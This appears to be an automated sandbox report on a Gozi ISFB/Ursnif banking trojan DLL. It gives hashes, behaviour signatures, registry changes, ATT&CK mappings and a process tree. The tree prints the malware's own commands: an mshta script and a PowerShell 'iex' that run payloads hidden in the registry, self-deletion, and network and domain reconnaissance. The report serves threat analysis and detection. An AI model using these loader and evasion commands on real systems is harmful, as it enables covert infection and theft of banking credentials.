gozi_ifsb | ae618e94c64b10307de3193efe693ba4cf0ea371a662038f705ba00779ad4f40

Analysis

max time kernel
127s
max time network
122s
platform
windows7_x64
resource
win7
submitted
23-07-2020 06:15

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General

Target

wellwishervcf.dll
Size

286KB
MD5

4549708f2a9c381890a5558b2036bc49
SHA1

62309679b02f05d42bc05cf6c1f522e4837f4f04
SHA256

ae618e94c64b10307de3193efe693ba4cf0ea371a662038f705ba00779ad4f40
SHA512

11e0453fef0e061b93f6f7f9f2e956dbef5ff09781da602387e31fcab52b477b2827b07f528551fefbc7dd65b6ca8294f24c7751a5bdf58f341aa05ad78aef8c

Score

10^/10

banker trojan gozi_ifsb ursnif spyware

Malware Config

Signatures

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

PING.EXE

pid process

880 PING.EXE
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1156 powershell.exe
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

524 cmd.exe
Suspicious use of SendNotifyMessage 4 IoCs

Processes:

Explorer.EXE

pid process

1228 Explorer.EXE
1228 Explorer.EXE
1228 Explorer.EXE
1228 Explorer.EXE

pid	process
880	PING.EXE

description	pid	process
Token: SeDebugPrivilege	1156	powershell.exe

pid	process
524	cmd.exe

pid	process
1228	Explorer.EXE
1228	Explorer.EXE
1228	Explorer.EXE
1228	Explorer.EXE

Modifies Internet Explorer settings 1 TTPs 37 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXEIEXPLORE.EXEmshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000001b0829a874ca164698fa08cb019bbab8000000000200000000001066000000010000200000003d1d8dce01fc3c4730ebe36beb0ade601addd9a8d3b8beee552e0732e9f561f0000000000e8000000002000020000000f2d918b681116aba77f632847a6df8e2b5d40478eb291555aed26ae59704ec10200000008bc243cdcff9201aacf775ad7c517ccb4ca4330344133338f1ea76560074d766400000008f8dfbeca8fe6bd237bfa131ff6e7ed7570db5a7ee0ef968a68c1805012644e99b98f89a0183fe94c33c23310f68a77e156f86eba42be39aba3e37433f2b5eae	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 50815cdbb860d601	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{13D421A1-CCAC-11EA-B22C-F21450B4F854} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000001b0829a874ca164698fa08cb019bbab800000000020000000000106600000001000020000000269176ad852266ad4848e29aabf2613f51c8110424ff95e0a685318f29e8874a000000000e8000000002000020000000ca9d5f30da6f27cdb0dac5a7bde9147cb0351c5892619a04c9d99fbe83c8303c900000007a0272f08f7aa743a6e25679f6ee14f1123e2361f996bd640c288d7a25266702578e913d43f9cfb190307326bab013c7515282d5ab3f5665ec82097b5c0eb41f55f935c959131723c35a8e47628b2fd1c082b7b9935e9dfc00c2f2d3e0485f8fa726afa67e48154637ce75494624e3ef4dcf5b815f1b7d7404f794e06958f4c2d489204ec6f47744452243f1b5e6a46440000000d80f69b53023be7b1a205693be203e955ac6d8146203dc6f909f2f7fe56375b547787e860f3d302e90ac6fee8c3ca32533202a2be1b3d425aa098288bab0c201	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe

Gozi, Gozi IFSB
Gozi ISFB is a well-known and widely distributed banking trojan.
banker trojan gozi_ifsb
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

880 PING.EXE
Suspicious behavior: MapViewOfSection 4 IoCs

Processes:

powershell.exeExplorer.EXEcmd.exe

pid process

1156 powershell.exe
1228 Explorer.EXE
1228 Explorer.EXE
524 cmd.exe

pid	process
880	PING.EXE

pid	process
1156	powershell.exe
1228	Explorer.EXE
1228	Explorer.EXE
524	cmd.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

powershell.exeExplorer.EXEcmd.exe

description	pid	process	target process
PID 1156 set thread context of 1228	1156	powershell.exe	Explorer.EXE
PID 1228 set thread context of 1916	1228	Explorer.EXE	iexplore.exe
PID 1228 set thread context of 524	1228	Explorer.EXE	cmd.exe
PID 524 set thread context of 880	524	cmd.exe	PING.EXE

Runs net.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of FindShellTrayWindow 7 IoCs

Processes:

iexplore.exeExplorer.EXE

pid process

1916 iexplore.exe
1916 iexplore.exe
1916 iexplore.exe
1228 Explorer.EXE
1228 Explorer.EXE
1228 Explorer.EXE
1228 Explorer.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

iexplore.exeIEXPLORE.EXEIEXPLORE.EXE

pid	process
1916	iexplore.exe
1916	iexplore.exe
1728	IEXPLORE.EXE
1728	IEXPLORE.EXE
1916	iexplore.exe
1916	iexplore.exe
300	IEXPLORE.EXE
300	IEXPLORE.EXE
1916	iexplore.exe
1916	iexplore.exe
1728	IEXPLORE.EXE
1728	IEXPLORE.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exeExplorer.EXE

pid process

1156 powershell.exe
1156 powershell.exe
1228 Explorer.EXE

pid	process
1156	powershell.exe
1156	powershell.exe
1228	Explorer.EXE

Checks whether UAC is enabled 3 IoCs

Processes:

IEXPLORE.EXEiexplore.exeIEXPLORE.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	IEXPLORE.EXE
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	iexplore.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	IEXPLORE.EXE

Ursnif, Dreambot
Ursnif is a variant of the Gozi IFSB with more capabilities.
banker trojan ursnif
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Suspicious use of WriteProcessMemory 78 IoCs

Processes:

rundll32.exeiexplore.exemshta.exepowershell.execsc.execsc.exeExplorer.EXEcmd.execmd.execmd.exe

description	pid	process	target process
PID 1492 wrote to memory of 1588	1492	rundll32.exe	rundll32.exe
PID 1492 wrote to memory of 1588	1492	rundll32.exe	rundll32.exe
PID 1492 wrote to memory of 1588	1492	rundll32.exe	rundll32.exe
PID 1492 wrote to memory of 1588	1492	rundll32.exe	rundll32.exe
PID 1492 wrote to memory of 1588	1492	rundll32.exe	rundll32.exe
PID 1492 wrote to memory of 1588	1492	rundll32.exe	rundll32.exe
PID 1492 wrote to memory of 1588	1492	rundll32.exe	rundll32.exe
PID 1916 wrote to memory of 1728	1916	iexplore.exe	IEXPLORE.EXE
PID 1916 wrote to memory of 1728	1916	iexplore.exe	IEXPLORE.EXE
PID 1916 wrote to memory of 1728	1916	iexplore.exe	IEXPLORE.EXE
PID 1916 wrote to memory of 1728	1916	iexplore.exe	IEXPLORE.EXE
PID 1916 wrote to memory of 300	1916	iexplore.exe	IEXPLORE.EXE
PID 1916 wrote to memory of 300	1916	iexplore.exe	IEXPLORE.EXE
PID 1916 wrote to memory of 300	1916	iexplore.exe	IEXPLORE.EXE
PID 1916 wrote to memory of 300	1916	iexplore.exe	IEXPLORE.EXE
PID 1528 wrote to memory of 1156	1528	mshta.exe	powershell.exe
PID 1528 wrote to memory of 1156	1528	mshta.exe	powershell.exe
PID 1528 wrote to memory of 1156	1528	mshta.exe	powershell.exe
PID 1156 wrote to memory of 1424	1156	powershell.exe	csc.exe
PID 1156 wrote to memory of 1424	1156	powershell.exe	csc.exe
PID 1156 wrote to memory of 1424	1156	powershell.exe	csc.exe
PID 1424 wrote to memory of 1616	1424	csc.exe	cvtres.exe
PID 1424 wrote to memory of 1616	1424	csc.exe	cvtres.exe
PID 1424 wrote to memory of 1616	1424	csc.exe	cvtres.exe
PID 1156 wrote to memory of 1484	1156	powershell.exe	csc.exe
PID 1156 wrote to memory of 1484	1156	powershell.exe	csc.exe
PID 1156 wrote to memory of 1484	1156	powershell.exe	csc.exe
PID 1484 wrote to memory of 1440	1484	csc.exe	cvtres.exe
PID 1484 wrote to memory of 1440	1484	csc.exe	cvtres.exe
PID 1484 wrote to memory of 1440	1484	csc.exe	cvtres.exe
PID 1156 wrote to memory of 1228	1156	powershell.exe	Explorer.EXE
PID 1156 wrote to memory of 1228	1156	powershell.exe	Explorer.EXE
PID 1156 wrote to memory of 1228	1156	powershell.exe	Explorer.EXE
PID 1228 wrote to memory of 1916	1228	Explorer.EXE	iexplore.exe
PID 1228 wrote to memory of 1916	1228	Explorer.EXE	iexplore.exe
PID 1228 wrote to memory of 1916	1228	Explorer.EXE	iexplore.exe
PID 1228 wrote to memory of 524	1228	Explorer.EXE	cmd.exe
PID 1228 wrote to memory of 524	1228	Explorer.EXE	cmd.exe
PID 1228 wrote to memory of 524	1228	Explorer.EXE	cmd.exe
PID 1228 wrote to memory of 524	1228	Explorer.EXE	cmd.exe
PID 1228 wrote to memory of 524	1228	Explorer.EXE	cmd.exe
PID 1228 wrote to memory of 524	1228	Explorer.EXE	cmd.exe
PID 524 wrote to memory of 880	524	cmd.exe	PING.EXE
PID 524 wrote to memory of 880	524	cmd.exe	PING.EXE
PID 524 wrote to memory of 880	524	cmd.exe	PING.EXE
PID 524 wrote to memory of 880	524	cmd.exe	PING.EXE
PID 524 wrote to memory of 880	524	cmd.exe	PING.EXE
PID 524 wrote to memory of 880	524	cmd.exe	PING.EXE
PID 1228 wrote to memory of 396	1228	Explorer.EXE	cmd.exe
PID 1228 wrote to memory of 396	1228	Explorer.EXE	cmd.exe
PID 1228 wrote to memory of 396	1228	Explorer.EXE	cmd.exe
PID 1228 wrote to memory of 1392	1228	Explorer.EXE	cmd.exe
PID 1228 wrote to memory of 1392	1228	Explorer.EXE	cmd.exe
PID 1228 wrote to memory of 1392	1228	Explorer.EXE	cmd.exe
PID 396 wrote to memory of 340	396	cmd.exe	nslookup.exe
PID 396 wrote to memory of 340	396	cmd.exe	nslookup.exe
PID 396 wrote to memory of 340	396	cmd.exe	nslookup.exe
PID 1392 wrote to memory of 976	1392	cmd.exe	nslookup.exe
PID 1392 wrote to memory of 976	1392	cmd.exe	nslookup.exe
PID 1392 wrote to memory of 976	1392	cmd.exe	nslookup.exe
PID 1228 wrote to memory of 1616	1228	Explorer.EXE	cmd.exe
PID 1228 wrote to memory of 1616	1228	Explorer.EXE	cmd.exe
PID 1228 wrote to memory of 1616	1228	Explorer.EXE	cmd.exe
PID 1228 wrote to memory of 1424	1228	Explorer.EXE	cmd.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of SendNotifyMessage
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
- Suspicious use of FindShellTrayWindow
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1228
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\wellwishervcf.dll,#1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1492
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\wellwishervcf.dll,#1
    3⤵
    PID:1588
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\981CEC34-17F7-8AA9-614C-3B5E25409F72\\\Bdeudler'));if(!window.flag)close()</script>"
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:1528
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\981CEC34-17F7-8AA9-614C-3B5E25409F72").CIRC2022))
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of SetThreadContext
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1156
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kfusto0u\kfusto0u.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1424
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA073.tmp" "c:\Users\Admin\AppData\Local\Temp\kfusto0u\CSC949D74D4A9024F02911EC95D811DF246.TMP"
        5⤵
        
        PID:1616
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2eq5fvi2\2eq5fvi2.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1484
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA12E.tmp" "c:\Users\Admin\AppData\Local\Temp\2eq5fvi2\CSC4B915762D54143F3A125D9C6AE4C491E.TMP"
        5⤵
        
        PID:1440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\wellwishervcf.dll"
  2⤵
  - Deletes itself
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:524
- - C:\Windows\system32\PING.EXE
    ping localhost -n 5
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Runs ping.exe
    PID:880
- C:\Windows\system32\cmd.exe
  cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\C03C.bi1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:396
- - C:\Windows\system32\nslookup.exe
    nslookup myip.opendns.com resolver1.opendns.com
    3⤵
    PID:340
- C:\Windows\system32\cmd.exe
  cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\C008.bi1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1392
- - C:\Windows\system32\nslookup.exe
    nslookup myip.opendns.com resolver1.opendns.com
    3⤵
    PID:976
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\C03C.bi1"
  2⤵
  PID:1616
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\C008.bi1"
  2⤵
  PID:1424
- C:\Windows\system32\cmd.exe
  cmd /C "net group "Domain Computers" /Domain >> C:\Users\Admin\AppData\Local\Temp\BEF1.bin1"
  2⤵
  PID:280
- - C:\Windows\system32\net.exe
    net group "Domain Computers" /Domain
    3⤵
    PID:800
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 group "Domain Computers" /Domain
      4⤵
      PID:1416
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\BEF1.bin1"
  2⤵
  PID:656

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Checks whether UAC is enabled
- Suspicious use of WriteProcessMemory
PID:1916
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1916 CREDAT:275457 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  - Checks whether UAC is enabled
  PID:1728
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1916 CREDAT:275470 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  - Checks whether UAC is enabled
  PID:300

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Remote System Discovery

T1018

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\2eq5fvi2\2eq5fvi2.dll

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C:\Users\Admin\AppData\Local\Temp\BEF1.bin1

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C:\Users\Admin\AppData\Local\Temp\C008.bi1

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C:\Users\Admin\AppData\Local\Temp\C008.bi1

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C:\Users\Admin\AppData\Local\Temp\C03C.bi1

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C:\Users\Admin\AppData\Local\Temp\C03C.bi1

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C:\Users\Admin\AppData\Local\Temp\RESA073.tmp

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C:\Users\Admin\AppData\Local\Temp\RESA12E.tmp

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C:\Users\Admin\AppData\Local\Temp\kfusto0u\kfusto0u.dll

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\??\c:\Users\Admin\AppData\Local\Temp\2eq5fvi2\2eq5fvi2.0.cs

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\??\c:\Users\Admin\AppData\Local\Temp\2eq5fvi2\2eq5fvi2.cmdline

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\??\c:\Users\Admin\AppData\Local\Temp\2eq5fvi2\CSC4B915762D54143F3A125D9C6AE4C491E.TMP

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\??\c:\Users\Admin\AppData\Local\Temp\kfusto0u\CSC949D74D4A9024F02911EC95D811DF246.TMP

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\??\c:\Users\Admin\AppData\Local\Temp\kfusto0u\kfusto0u.0.cs

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\??\c:\Users\Admin\AppData\Local\Temp\kfusto0u\kfusto0u.cmdline

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memory/280-32-0x0000000000000000-mapping.dmp

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memory/300-2-0x0000000000000000-mapping.dmp

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memory/340-24-0x0000000000000000-mapping.dmp

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memory/396-22-0x0000000000000000-mapping.dmp

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memory/524-18-0x0000000000000000-mapping.dmp

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memory/524-19-0x000007FFFFFD7000-mapping.dmp

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memory/656-35-0x0000000000000000-mapping.dmp

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memory/800-33-0x0000000000000000-mapping.dmp

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memory/880-21-0x000007FFFFFD5000-mapping.dmp

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memory/880-20-0x0000000000000000-mapping.dmp

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memory/976-25-0x0000000000000000-mapping.dmp

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memory/1156-3-0x0000000000000000-mapping.dmp

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memory/1392-23-0x0000000000000000-mapping.dmp

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memory/1416-34-0x0000000000000000-mapping.dmp

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memory/1424-4-0x0000000000000000-mapping.dmp

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memory/1424-27-0x0000000000000000-mapping.dmp

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memory/1440-14-0x0000000000000000-mapping.dmp

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memory/1484-11-0x0000000000000000-mapping.dmp

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memory/1588-0-0x0000000000000000-mapping.dmp

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memory/1616-7-0x0000000000000000-mapping.dmp

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memory/1616-26-0x0000000000000000-mapping.dmp

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memory/1728-1-0x0000000000000000-mapping.dmp

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